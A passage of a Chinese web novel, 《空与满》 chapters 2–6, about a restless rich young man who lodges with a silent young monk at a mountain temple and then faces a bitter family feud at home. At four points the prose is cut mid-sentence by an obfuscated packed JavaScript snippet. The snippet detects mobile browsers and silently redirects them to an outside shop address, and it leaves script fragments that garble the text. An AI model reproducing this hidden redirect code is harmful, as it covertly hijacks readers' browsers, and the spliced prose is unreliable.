《空与满》 2. 第2章 正文002 在程觅眼中,沈岸寻是僧人,可对方却留着薄薄的一层头发渣,脑顶没有六个点。这种比板寸还要短的发型非常能够检验一个人的五官是否优秀,程觅不动声色地打量沈岸寻,这人不仅头型好看,剑眉英气,眼尾略带棱角,山根饱满,是非常养眼的长相。 程觅对寺庙与僧人的了解全部来源于电影和电视剧,记住的都是些刻板印象,殊不知,现在的僧人头上早就不点六个点了。 沈岸寻整体给人的感觉像块木头,不苟言笑,冷淡的表情用程觅的糙话来形容就是面瘫。他的嗓音压得很低但温柔,只是之后无论程觅再问沈岸寻什么,对方都不再理会。 “小师父,檀赞寺能住宿吗?我想住在这里,价格您开。”为了自己之后几天都能睡上好觉,程觅态度真诚地问。 见沈岸寻不回答,程觅蹙眉,耐着性子继续问:“晚上还有斋饭吗?我饿了,想吃点东西。” 无声的空白没持续几秒,程觅渐渐不耐烦了,又问:“小师父,你怎么不理我,出家人不是有问必答吗?” 这回沈岸寻有动静了,可他的回复能把程觅气死。程觅看着沈岸寻将右手竖在胸前,微微欠身:“阿弥陀佛。” 程觅:“……” 沈岸寻转身离去,程觅站在娑罗树下目送他走远。随风摇曳的树影扫在程觅身上,沈岸寻在明,他在暗。 无聊地返回寺门前,程觅抬脚跨过门槛,但因思绪游离,注意力不集中,右脚抬得不够高,结果狠狠地绊了一跤,好在他反应够快,踉跄两步及时站稳了身体。 “我他妈……”歪歪扭扭了几下才走稳脚步,程觅闭了闭眼,攥紧的拳头青筋毕现。 “这地方跟老子相克。”自言自语地骂着,程觅不愿回头多看一眼,径直朝长阶走去。可当他立在台阶之上,垂眸俯瞰来路,又在心里琢磨,这地儿比市区安静多了,与世隔绝的,能让他什么都不想,他坐了这么远的车过来,不就是为了图个清静吗? 一千多级台阶,来路太坎坷,去路又被这破庙堵死了,程觅转身环顾四周,天色即将暗下,他必须尽快找一处过夜的地方。 既然檀赞寺跟他相克,程觅打算就在它的周围找一找有没有能收留他的人家。 左看右看,与长阶相连的平台除了摆着六个摊位,唯一的去处只有眼前的檀赞寺了。程觅无语地搔搔刘海,叉着腰,愈发觉得自己上辈子是不是冒犯了老天爷,怎么这辈子没有一件能让他顺心的事。 游走的视线定格在寺庙左侧,似乎有道缝隙,程觅好奇地踱步过去,只见院墙与竹林之间夹着一条隐蔽的窄径,是条上行的石子路,路途不长,能依稀望见尽头立着一座木屋。 脚底碾着石子,脚下偶尔打滑,程觅便握住粗壮的竹子,借力行走。踩到平坦的空地上,他又开始喘,最近一段时间总是窝在房间里足不出户,避人避世,以前在学校经常锻炼,身强体魄,如今稍加动换就累得不行了。 程觅感觉现在的自己简直是弱爆了。 这木屋……看起来搭建得实在是过于潦草了。 荒郊野岭的,依傍着檀赞寺,眼前的木屋显得尤为突兀,但不管怎样,总算有户人家了。程觅平时住惯了大别墅,对这屋子的住宿条件没什么信心,可他没得挑,出行在外,肯定是寄人篱下,那也比他那个操/蛋的家强一百倍。 运动服拉链下拉到锁骨处,整平衣领,嘴角带笑,换上一副乖乖男的形象,程觅伸手敲敲屋门,清了清嗓子问:“您好,有人在吗?” 等了半天,无人回应。 “我靠,这地儿不会荒废了吧?”露出担忧的神色,程觅低头在门口扫两眼,放下心来:应该没有,门前的土地被踩得很平整,这里有人住的。 “有人在吗?”他又喊了一嗓子,在确定木屋的主人可能外出去了之后,便朝着院墙走去,靠着墙面稍作休息。程觅此刻非常想点根烟,碍于旁边是竹林,他还想喝酒,碍于此处是佛门重地,只得憋屈地蹲下身,枯燥地等待木屋的主人回来。 整张脸往胳膊上一埋,疲惫不堪的程觅意识立刻断了,又迷迷糊糊地睡了一觉。这次的睡眠较浅,周遭动静他能感知一些,所以才会在听见脚步声时立马睁开眼睛,抬起沉重的脑袋往左侧偏头。 千万别是女主人啊……程觅临时向佛祖祈祷,这破寺克了他一天,也该让他幸运一回了吧? 嚯。程觅在心中吹了声口哨,佛祖显灵了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307587|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真不错,来的确实不是女人,是一位高高瘦瘦的大小伙儿。 那人在明,程觅在暗,所以是程觅先认出了他。我去……程觅简直想掐人中了,他和这位面瘫的小师父究竟有着怎样的孽缘啊? 沈岸寻扛着一袋子米走向家门,余光中,有团东西在蠕动,他转过头,是今日睡在娑罗树下的少年,沈岸寻对程觅的第一印象——这人是个话痨。 放下米袋走向院墙,佛珠三通上的松石坠子一晃一晃的,程觅先是盯着沈岸寻的佛珠看了一会儿,然后才仰起头,友善地打招呼:“嗨,小师父。” 程觅从地上站起来,搓搓手,俨然做出一副求人的可怜模样。思忖着合适的措词,他刚想开口,不料一阵钻心的麻痒从脚底直蹿进尾椎骨,程觅只来得及念叨一句“不能够吧”,而后胳膊一张,别无他法、不管不顾地抱住沈岸寻,表情痛苦得几近扭曲。 两人倒地的过程中,程觅求生欲极强地念叨着:“对不起我蹲太久了脚麻了无意冒犯出家人阿弥陀佛。” 紧接着,一股浓郁的气味扑进鼻腔,程觅咬牙含泪忍受着酸麻感,却还是分出一线心思在心中评价道:小师父身上什么味儿?这么好闻。 “你不会涂香水了吧?”为了避免尴尬,程觅转移话题问,“什么牌子的?推荐给我呗。” “我用过不少男士香水,鼻子挺挑的,像你身上这种不浓不淡的味道正合我意。” 沈岸寻不是哑巴,程觅清楚得很,可对方就是不言语,眼神泛空地望着落山的夕阳。程觅见他又不回答,锲而不舍地追问:“小师父,这间木屋是你的吧?您发发慈悲呗,收留我一晚行不?” 沈岸寻不出声,他就一个劲儿地问:“行吗?好吗?好的吧?” 半分钟后,沈岸寻启唇说:“起来。” 程觅两手错开沈岸寻的肩膀,避免多一处触碰,冲他弯起眼睛,脸上笑眯眯的,口中紧咬着后槽牙,艰难地把上半身挪向沈岸寻旁边的空地。 深吸两口气,程觅以一个极其别扭且滑稽的姿势半趴在沈岸寻身上,不好意思道:“起来一半儿了,两条腿还得再等等,那什么……我蹲得太久了,麻劲儿还没过呢。” 沈岸寻继续凝望天空。 3. 第3章 正文003 程觅在尴尬的气氛中勉强找回腿部的知觉,重心偏移侧身仰躺,离开沈岸寻的身体。沈岸寻没有犹豫地站起身,拍掉沾在罗汉卦上的土,径直朝木屋走去。 沈岸寻越不搭理程觅,程觅越来劲,他现在就喜欢跟别人对着干。沈岸寻完全不属于程觅世界里会出现的人,因此程觅对这人充满了好奇。 “小师父,你怎么不拉我一把啊。”程觅在地上摆着“大”字,累得不想动,“出家人慈悲为怀,我现在有难,你不能‘见死不救’吧。” 沈岸寻步履不停,扛起米袋子掏出钥匙串,拧动门锁迈到屋内,身后迅速蹿进来一个人,生怕他要关门。 抬头审视这间屋子,程觅目测它的整体面积恐怕还没家里的厕所大,家具摆设压根儿不存在。右边是灶台,支着一口大铁锅,烧柴火,左边是床,小得可怜,一个人睡在上面估计翻个身就能掉到地上去。 最令他震惊的是一头系在铁窗上、另一头绑在暖气管上的晾衣绳,上面没挂几枚衣架,也没多少衣服。程觅问:“小师父,你就住在这里吗?” 肚子饿了,程觅再问:“你晚上吃什么?我能蹭顿饭吗?” 沈岸寻没回答,坐在灶台前的小板凳上弯腰生火,往灶膛中送木柴。没多久,深邃的瞳孔里蹦着火光,却也没能软化他的表情,除了眨眼,沈岸寻的五官基本纹丝不动,外人评价这张脸大概会觉得像是“生无可恋”、也像“视死如归”。 沈岸寻加水烧米,然后从鼓囊的兜中掏出刚才被程觅压扁的大白馒头。 程觅惊呆了:“不是吧……喝稀饭啃馒头,干嘴儿啃啊?这不得就着点儿酱豆腐或者老干妈吗?” 沈岸寻拿来灶台上的小瓷碗,里面盛着昨天炸好但没吃完的花生米,然后……没有然后了。 程觅:“……” 白米粥、白面儿馒头,外加几颗油炸花生米,这么少的食物还得两个人分……他这是有多想不开才会来这荒郊野岭体验穷苦生活啊?可即便如此,程觅依旧没有一丁点“我要回家”的念想,他确实当惯了少爷,受不了如此清贫的居住环境,但比起跟他同父异母的兄弟打架、听父亲羞辱自己的言词、看母亲整日以泪洗面,这间清静干净的木屋算是天堂了。 墙角还有一把小板凳,程觅搬过来,坐在沈岸寻身旁,跟他一起守着铁锅煮粥。坚持不到半分钟,他赶忙换到灶台侧面凉汗,边咳嗽边抹掉脸上的汗珠,程觅问:“这柴火这么热,还这么呛,你怎么受得了啊?” 沈岸寻这回不仅没动作,连眼睛都没眨。 程觅在心里评价道:我靠,快热化我了,出家人都这么厉害的吗? 闻见米香后,沈岸寻手持火钳灭火,让米在铁锅里再焖一会儿。将馒头压在花生米上,白瓷碗离坐在灶台侧面的程觅很近,沈岸寻忙活完,收起板凳,转身去拿自己的牙刷牙杯。 程觅一愣,问:“你不吃饭吗?不都做好了吗?怎么吃都不吃一口就去刷牙啊?” 修佛之人过午不食,沈岸寻没应声,按部就班去木屋外的公共水池前刷牙洗漱。程觅不明所以,但在后知后觉反应过来这顿饭原来是专门为他做的之后,便心怀感恩地吃起来,一口馒头就着一颗花生米,咀嚼时心想:饿了真是吃什么都香。 窗外的天色暗得彻底,木屋里亮着两颗灯泡,吃完饭,程觅猫在小板凳上支着脑袋,两只眼珠随收拾屋子的沈岸寻转来转去,最后不动换了。 因为沈岸寻爬上床开始盘腿打坐了。 程觅耳边一时万籁俱寂,沈岸寻不动如钟,甚至连呼吸声都隐去了。掏出耳机绕开线,点开纯音乐歌单,程觅转头望向身后的窗户,天上挂着弦月,有星星,这景色真好看,他在家很少有心情能注意到它们。 手臂叠在弓起的膝盖上,闷着脸,程觅渐渐睡着了。这样的坐姿不可能保持一整晚,没过两小时,肩膀缓慢朝右侧倾斜,即将摔向地面时,程觅猛然清醒,迅速单手撑地,大脑以最快的速度控制肢体,踢出扫堂腿帅气地转了一圈,然后站直了。 虽然有点中二,但千万别再出糗了,程觅丢不起这人。抬眼一瞅,沈岸寻还在打坐,脖颈处落了只小蜘蛛都没影响到他。 放轻动作搓掉手里的灰,程觅悄么声地迈回木凳前,正准备弯腰坐回去,沈岸寻破天荒地开口了:“住多久。” “嗯?”程觅差点没反应过来,以为自己幻听了,表情由惊讶变成惊喜,他激动地回道,“就一天,行吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307588|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈岸寻睁开眼睛迈下床,走向安置在墙角的草编蒲团,坐上去,盘腿继续打坐。程觅迟钝地理解了他的意思,忽然喜出望外,按理来讲,打小有点洁癖的他从来不睡别人的床,但这位小师父一爱干净,二有香味,三床单是紫色格子的——少爷偏爱紫色。 时不时瞄一眼沈岸寻,程觅有点忐忑,他怕自己会错了意。脑袋刚沾上枕头,他又闻见他喜欢的那股香味了,似乎浓郁了不少,右手顺着味道的方向摸去枕下,取出来一串佛珠,程觅嗅嗅鼻子,沈岸寻身上的味道原来是它。 “啪”,灯泡灭了。程觅愣了两秒,看向沈岸寻,那人打坐的地方挨着墙,上面设有灯光的开关。 浓重的黑暗,舒缓神经的檀香,思绪被这两者夹击,程觅很快便睡着了。他这一觉睡得极沉,还特累,身心俱疲的那种累,他在梦中追着他爸和小三的儿子打打杀杀,都把人打变形了,结果一扭脸,小三肚子里还怀着一个,他只能暴怒地挥着铁棍气得原地跺脚,因为程觅从来不动女人。 挣扎着抽离梦境,满身大汗,程觅坐直上半身大口喘气,突然尿急。穿鞋的时候不停念叨“憋死老子”了,火急火燎地往门外冲,刚跨到门边,沈岸寻在黑暗中发话:“厕所在后面。” 程觅吓了一跳,腹部险些没绷住。用手顺两下心口,他转过身问:“小师父,你一直没睡觉吗?” 沈岸寻不答话,程觅顾不上惊讶了,这人有太多让他吃惊的地方,径自朝木屋后方跑去。解决完,他边走边系裤绳,这时,周遭逐渐亮起光芒,脚底踩着的地方缓慢落入光亮中,程觅抬起头,是日出。 檀赞寺如同披了一层金幔,琉璃瓦粼粼闪闪,清晨五点,寺庙敲钟了。程觅没回木屋,坐在一块石头上弯起一条腿,双手向后撑住身子,听着钟声,看着日出。 许久过后,木屋的门被推开,沈岸寻走了出来,左腕上缠着老山檀佛珠。在沈岸寻身上定格视线,目送对方消失在檀赞寺的后门,明明离得很远,程觅却好似总能闻见那股清淡养神的檀香味。 解锁被静了音的手机,冉菁遥的电话短信轮番轰炸,程觅只看了眼时间便摁灭屏幕,远望火红的太阳。随后,他把目光再次移向寺庙后门,右手支着脑袋,在想沈岸寻。 4. 第4章 正文004 温度随太阳的高度攀升,程觅被阳光晒出困意,不知道沈岸寻出门时有没有锁门,他不带希望地走回木屋前,伸手轻拉——门开了。 旋身歪倒在床上,程觅两手背后,晃着脚百无聊赖地凝视天花板。闻着床单上残留的檀香味,他又破天荒地不困了,脑子里乱七八糟地蹦着画面,烦得他直啧舌。 将灯泡盯出虚影,程觅这才闭上眼,睡了个回笼觉,醒来时掏出手机看时间,九点四十三分,收到新信息十五条,未接来电二十一通。程觅左思右想,还是决定给冉菁遥回个电话,正当他想解锁的时候,屏幕光倏地熄灭了。 “没电了?”无名火又起,程觅闭了闭眼,让檀香往身体更深处游走,压住他的暴脾气。离家够久了,尽管想要逃离令他窒息的家庭环境,但程觅还是有点担心冉菁遥的状态。 从床上爬起来,一条腿搭在床沿上晃悠,程觅无奈地叹一口气,有时候他更希望自己能自私或者果决一些,这样也不至于一直瞻前顾后,为了母亲忍气吞声。下地出门,掩门时他琢磨了一会儿:用不用锁门啊?小师父带钥匙了吗? 程觅绕着木屋走了一圈,窗楞是焊死的,爬不进去,如果小师父没带钥匙,恐怕会比较麻烦。这里地处偏僻,老实讲,屋内没什么值钱的东西,是狗都嫌、小偷入室都会落泪的地方,程觅于是拿定主意,不锁了。 走到水池前洗脸漱口,裤兜里有薄荷糖,程觅嚼碎两颗,双手插兜,沿着狭长的土坡下行,微风带起竹叶窸窣摩擦的动静。 程觅从来不占人便宜,在别人家借宿一晚,又睡了人家的床,他得给人钱,不然心里头会惦记没完。 十点十分,檀赞寺门前游客不少,有人自带蒲团,在大门口磕头跪拜。放远视线,程觅看见长阶上也有叩拜的人,有背着孩子的父亲,有步履蹒跚的老人,甚至还有衣着华丽打扮得非常富贵的人,居然也在双手合十虔诚祈祷。 程觅对佛教了解甚少,但在这一刻,他站在高处俯瞰着这一幕,心中忽然油生出四个字:众生皆苦。 娑罗树枝叶繁茂,三座大殿后方种植的是菩提,寺院中香火旺盛,程觅眯着眼在人群中寻找沈岸寻,找了半小时,依旧不见对方的踪影。 开光室前有位扫地的小僧,剃着光头,身穿袈裟。程觅走过去,不知该怎么打招呼,正思考着,这时小僧瞧见他,先开了口。 “小施主,有事吗?” 怎么又带个“小”字,是我长得显小么?程觅无语地撇撇嘴,恭敬地回道:“您好,我想找一下……” 找谁?他皱眉,对方叫什么名字?不对,那人有名字吗?出家人是不是都叫法号? 定住片刻,程觅无奈地开始伸手比划,大概……这么高?左手在脑顶上摸了摸,应该差不多和自己一样高一样瘦吧?哦对!程觅拍了一巴掌,说:“他的左手戴着一串特别香的佛珠。” “是空觉师弟。”小僧了然道,“他正在斋堂诵经呢。” “斋堂?”程觅问,“怎么走?” “小施主是进不去斋堂的。”小僧彬彬有礼地回答,“若要找空觉,他正午会到用品店清扫卫生。” 此刻距离正午还有两个小时,程觅谢过小僧,站在檀赞寺门口的地图前搜索用品店的位置——它在观音殿东侧,要往院内走一百米左右。 经过释迦牟尼佛殿外的古树,红丝带系满了树枝,程觅在提供斋饭的地方要了一碗米汤,盯着一名衣着褴褛的男人绕着树干顺时针走满三圈,噗通,狠狠一跪首。 “拜佛也就是图个心理安慰而已,有啥用啊,能改变现实吗?”程觅嘟囔了一句,紧接着视野一角投来几道极为不友善的目光,他看向右前方,手持佛香的两女一男正站在佛殿前带着恨意瞪着他,看模样像是一家子。 耸了耸肩,程觅移开视线,把纸碗扔进垃圾箱,朝着用品店走去。远远的,观音殿门前传来一声男人的痛哭,程觅听了一耳朵,那人在喊“菩萨,请您救救我病重的孩子”。 有这个时间不如多陪陪孩子吧,当时的程觅这样想道,但后来他却理解了为什么男人非要来乞求菩萨,非要不远万里来做这件事——因为菩萨能拯救的并不是身患绝症的孩子,而是还要继续活下去的父亲。 炎阳当空,外面越来越晒,程觅决定先进佛教用品店乘凉。店内放着两把木椅,供游客休息,程觅大马金刀坐下身,粗略浏览一圈玻璃展示柜中售卖的饰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307589|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,五花八门什么样的都有,有的他压根没见过。 余光中的角落里有人端抱起胳膊,程觅的注意力被她吸引过去,不由得一愣,是个长发及腰的女人,身形高瘦,身材高挑。她安静地立在灯光照不到的空间里,违和地戴着墨镜,唇红肤白,踩着一双十厘米红色大高跟儿,乍一瞅像当红女星。 ……只是这人偏偏选择站在阴暗的角落里,她的漂亮被冷清的氛围蒙上了一层灰,要真是女明星,恐怕也得是过了气的。 女人抱着胳膊纹丝不动,墨镜后面的眼睛不知在看哪里。她不是檀赞寺的工作人员,也不是来求佛的,就连售货员都对她熟视无睹,仿佛早已习惯她的存在。 午饭过后,沈岸寻拎着水桶拖把,负责清扫被分配到的寺内区域的卫生。迈进用品店,冷水浸湿拖把,沈岸寻闷头卖力地干活儿,根本不去看周围都有些什么人。 程觅本想开口叫人,这时,他发现角落里的女人有了动静。打从沈岸寻进入用品店的那一刻起,她的视界里似乎终于有了目标。 女人的脑袋细微地转动着,程觅能肯定,她在看沈岸寻。静待半晌,女人一言不发,沈岸寻的拖把即将伸向木椅,程觅于是站起身,唤道:“小师父。” 沈岸寻动作没停,当没听见。 “哎,我叫你呢。”见对方依旧不理自己,程觅改了个称呼,“空觉小师父?” 拖把支在地上,沈岸寻立直身子,看向程觅。程觅立马展露出天真无邪的笑容,好脾气道:“谢谢你昨晚收留我,但我不能白住你的屋子、白吃你家大米、白睡你的床。” 话音落下,程觅翻开钱包,阔绰地取出三百块钱递到沈岸寻眼皮底下,说:“给。” 售货员一脸震惊地看着程觅,又紧张地看了看沈岸寻。如果那“女明星”不戴墨镜,也能瞧见她眼神中的意外与诧异。 沈岸寻没接,程觅讨好似的又往前伸了伸胳膊,好言好语道:“怎么了?你别不好意思,这是我的一点心意,还是你觉得给少了?那我再添点儿?” 出乎程觅意料的是,沈岸寻一惯僵硬的面容稍稍产生了微许变化。他皱着眉,嗓音比平时还要低,还要冷,沉着脸对程觅说:“拿开。” 5. 第5章 正文005 程觅不明所以地看着沈岸寻,对方的表情和语气明显是生气了,但他不清楚自己是哪里做错了,竟然能把这位面瘫的小师父惹到不再面瘫,而且这人皱眉的样子会使棱角分明的五官显得更加狠厉,让人更难接近。 拿开是不可能拿开的,送出去的东西程觅绝对不会再往回拿,这让他一时进退两难。沈岸寻说完话,握住拖把继续闷头干活,程觅尴尬地伸着两只胳膊,脾气“噌”一下就窜上来了。 什么态度! “小伙子,小伙子。”正想发火,程觅闻声转头,柜台后面的售货员朝他招招手,“来,你来我这儿。” 生气地抓了抓头发,程觅瞥了一眼弯腰拖地的沈岸寻,迈步上前,与售货员隔着展示柜面对着面。见售货员半掩嘴巴,程觅会意地凑近耳朵,听见她说:“出家人是不能收钱的,这是檀赞寺的戒律。” 听见这话,程觅的怒气立刻烟消云散,这样一来,倒是他的行为太唐突和冒失了。 冒犯出家人了,程觅在心中默念:阿弥陀佛,我不是成心的。 “那我……”程觅小声问,“那我这给都给了,岂有往回收的道理啊?” 售货员答道:“你如果非要花掉这笔钱,可以捐功德箱,或者也可以买点开光的小礼物,因为收来的这些钱最终都会用在寺庙的建设上,就算是在帮助小师父啦。” “哦,行。”程觅听完摸摸耳朵,垂眸浏览着展示柜中的商品,说,“那我选个小礼物吧。” 售货员点头示意:“随便看看。” 绕着展示柜走了一圈,程觅选中目标,指着一件长得跟迷你BB机一样的小玩意儿,问:“这是什么?” “念佛计数器,我们也叫记佛器,可以绑在手指上,一般推荐戴食指。”售货员介绍道,“心中每念一次佛,就用大拇指摁一下屏幕旁边的按钮,它能记录你一天念佛的次数。” 程觅:“……” 问了件对自己来讲最没用处的东西,但程觅平时的购物习惯是看准了就下手,问来问去会让人感觉他好像是在比价。他有着身为“少爷”的觉悟——花钱必须痛快。 “成,就它吧。”程觅问,“有紫色的吗?” “有啊,什么颜色都有。”售货员从展示柜下面的柜子里取出一袋子新货,挑出紫色的拿给他,“一百二十块。” 程觅接过来:“剩下的钱还能再买什么?您推荐吧,我懒得自己选了。” “嗯……护身符?”售货员端出一个绒布盒子,里面装的是镀金材质、表面含真金成分的佛卡,上面刻着经文,“这种礼物很有意义的,送给家人朋友非常合适。” 一看价格一百八,刚好花掉手上的三百块钱,程觅痛快地敲定,买完再一抬眼,沈岸寻已经拖完地了。 商品太小无需塑料袋拎着,程觅将护身符揣兜,记佛器没拆包装,正方形的一个小盒子,他往空中抛了下,就这么拿着玩儿吧。 尽管对沈岸寻方才的态度依旧不爽,程觅在离开之前,还是礼貌地说了句:“空觉小师父,谢谢你。” 沈岸寻背对着程觅,将拖把放进水桶,拎起来的时候说:“不用。” 出门时,程觅的余光晃过角落,长发女人仍杵在原地,端抱胳膊的姿势丝毫没变过。 一千多级台阶上行困难,下行倒是比较轻松不少,程觅慢悠悠地往山下走去,刻意放缓步伐,想多听一听夏风吹过竹林的声音。 踏到平地上,好似一脚踏回了人间,车、人、马路、站台,喧嚣声钻入耳中,无端让程觅又开始烦躁不已。 他即将回到城市的浮躁中去,也将重新回到那个令他作呕、散发着恶臭的家。 手机没电了,没法听歌了,指间转着记佛器的小方盒,程觅感到无聊极了。冉菁遥怎么样了?他不在家,她一个人能面对得了家里那种窒息的氛围吗?程觅突然有些后悔自己不管不顾地跑出来,冉菁遥的病状又要加重了。 下午三点半,77路公交车停在山语园门口,程觅踏进阳光中,眯着眼迈入这片富饶的别墅区。保安同他热情地打招呼,程觅敷衍地扯出一抹笑,离家越近,他的心情就越糟糕。 家院中的红牡丹开花了,程觅视若无睹,原先这里栽种的是冉菁遥最喜欢的紫罗兰。踩上门口的脚垫,输入指纹,程觅推门迈进玄关,偌大的客厅空无一人,餐厅亮着灯,隐约响着杯盘碗筷碰撞的声音。 管家钟叔看见程觅,背对着餐厅给他使了个眼色。程觅抿唇点点头,关上门,径直走向通往二层的台阶。 “程觅。”浑厚的嗓音语调冰冷,程觅脚步停顿,没应声,双手插兜斜靠着楼梯扶手。从他的角度看过去,只能瞧见餐厅一隅,冉菁遥正位于他的视界中心,低着脑袋坐在餐桌前,小心翼翼地用勺子搅动碗里的燕窝。 程昌磊问:“去哪儿了。” 程觅没理他爸,张口唤:“妈。” 冉菁遥机械地抬起头,她的脸色过于苍白,双目微陷,眼袋浓重,多处皱纹明显,像一朵汲取不到任何养分、正在慢慢枯萎的紫罗兰花。 程觅冲她笑了笑,歪了下脑袋说:“上楼回房间。” “砰”的一记重响,程昌磊一巴掌拍在桌面,几乎是同一时刻,在程觅看不见的地方,倏然乍起婴儿尖锐的啼哭声。 “哎呀你干吗啊。”许茜慌忙抱起婴儿椅里的小儿子,哄道,“不哭了不哭了哦。” 话音未落,一道干脆利落的少年音响起:“程觅,你能不能别惹爸爸生气了,我们家因为你还不够乱吗?” 狗血的家庭伦理剧不都应该在晚上八点黄金档上演吗?真是作践了午后的大好时光,程觅哼笑一声,把手从裤兜里掏出来,佩服地鼓了鼓掌。 迈进餐厅,视野清晰明朗,只见餐桌主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307590|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位坐着程觅的父亲程昌磊,右边是他的母亲冉菁遥,她的对面是许茜,是个狠厉精明的女人,善于玩弄手段、颠倒是非,是程昌磊在冉菁遥怀孕六个月时出轨的对象。 刚才说话的少年,是许茜的儿子程一珂,程觅同父异母的弟弟,小他四个月。许茜和她的两个儿子是今年年初住进程家的,程昌磊连句解释也没有,直接让冉菁遥从一层的主卧搬去二层的卧房。 程觅直到今年才得知,程昌磊原来一直在外面养着另一个女人。从出生到十八岁,程觅始终将程昌磊视作偶像和榜样,在他的记忆中,程昌磊是一个疼爱妻子、顾家的好男人,也是一个能够将信昌集团经营成全国五百强的成功人士,程觅渴望成为像父亲一样优秀的人,为了能够得到父亲更多的赞扬与期望,他不惜放弃报考英国传媒大学的编导专业,顺从程昌磊的要求选择美国的金融院校。 程觅以为自己是程昌磊唯一的儿子,是他的骄傲和未来,可到头来,只不过是一个可有可无的后代。 从知道真相到现在,整整三个月,程觅停下学业,用来接受这一荒唐的事实。仰望了十八年的男人,渴望成为的男人,竟然是个不折不扣的人渣。 但他不能表现出一丝一毫的脆弱,面对外敌咬着牙也要保持淡定,因为冉菁遥比他更痛苦。 餐桌前的五个人,程昌磊靠着椅背目光审视,许茜仿佛程觅不存在,耐心地在哄小儿子开心,程一珂学着程昌磊的模样也板着脸、拧着眉,好似他才是占理的人,要跟父亲一起批评他那成天不着调的哥哥。 冉菁遥仍低着脸,不发一言,她这位合法妻子居然形同空气,弯着背脊默不作声。程觅咬破舌头,才强忍着没让自己的暴脾气当场发作,他来到冉菁遥身旁,拉起她的手,说:“妈,上楼了。” 程一珂道:“程觅你有完没完,爸让你妈来和我们一起吃下午茶是看得起你们,你别不识好歹。” 程觅充耳不闻继续忍耐,紧了紧冉菁遥的手,将她从座椅上拉起来。程昌磊怒目发话:“程觅,看来是我平时太纵容你了。” “小觅,吃点燕窝吧,这是许茜花了一中午的时间熬的。”冉菁遥拽了拽儿子的衣角,“别惹你爸不高兴。” “冉阿姨,能别直呼我妈的名字吗?很不礼貌。”程一珂说,“您是个有教养的人,学历这么高,智商肯定不低,难道看不清家里的形势?你难道不应该喊我妈一声‘程太太’吗?” 下一秒,平整的桌布被扯掉了,餐具碎了满地,加着热的燕窝盅打翻在程一珂的衣服上,烫得他立刻跳起脚来。还没来得及叫出声,猛然间一股劲风朝他扫来,一张盘子迎面抽在程一珂的嘴角,力道之大,犹如一记重重的耳光。 盘子落地碎裂,程觅把冉菁遥拉到身后,撸起袖子,看着一脸震惊的程一珂,边笑边摇头:“我不理你是给你脸,你既然给脸不要脸,那就别怪老子下手重了。” 6.第6章 正文006 钟声响起,暮色四合,沈岸寻在寺院中巡逻,提醒游客们该出寺了。 释迦牟尼殿前跪着头发斑白的男人,腰背不直,即使他的穿着精致,也无法掩盖憔悴的面容。沈岸寻迈步过去,右手五指并拢立于胸前,语声恭敬,开口道:“施主,寺门要关了。” 男人的眼神空洞,几不可闻地“嗯”了声,两手撑地从蒲团上站起来,冲佛祖深鞠一躬,一步一挪朝着门口走去。 他的公司破产了,直到清算的时候,他才发现合伙人曾多次挪用公款,套走了他奋斗大半生的积蓄。男人今天卖了房子还债,剩下几千块不知道能够做些什么,他想东山再起,但他已经不年轻了。 迈出寺门的那一刻,男人“咚”地一屁股坐在地上。他在佛门净地中丢掉体面,抬手捂住脸,颤抖肩膀泪流不止。 沈岸寻在念佛堂念了三炷香的佛,俯身叩拜住持虚云大师,而后退出堂外。本想从寺院后门返家,念及方才遇见的那名落魄的中年男人,沈岸寻转而朝向正门,推门出去,果不其然,男人歪着身子靠坐在红柱子旁边,脸上挂着泪痕。 听见动静,男人抬眸,望着沈岸寻的目光呆滞。沈岸寻将手中的经文卡递给他,没有多言,等对方接过,他转身便要离开。 男人问:“小师父,如果我坚持每日诵经三次,就能减轻心中的仇恨吗?” 沈岸寻回答:“念佛可净身净心,帮助你放下执念。” “我从不相信好人有好报、恶人有恶报,我从不相信只要努力就能成功,从不相信老天爷是公平对待每一个人的。”男人越说情绪越激动,“我本本分分地谋生,经常力所能及地帮助别人,为什么我还会遇到坏人?为什么连我最信任的人都要算计我?” 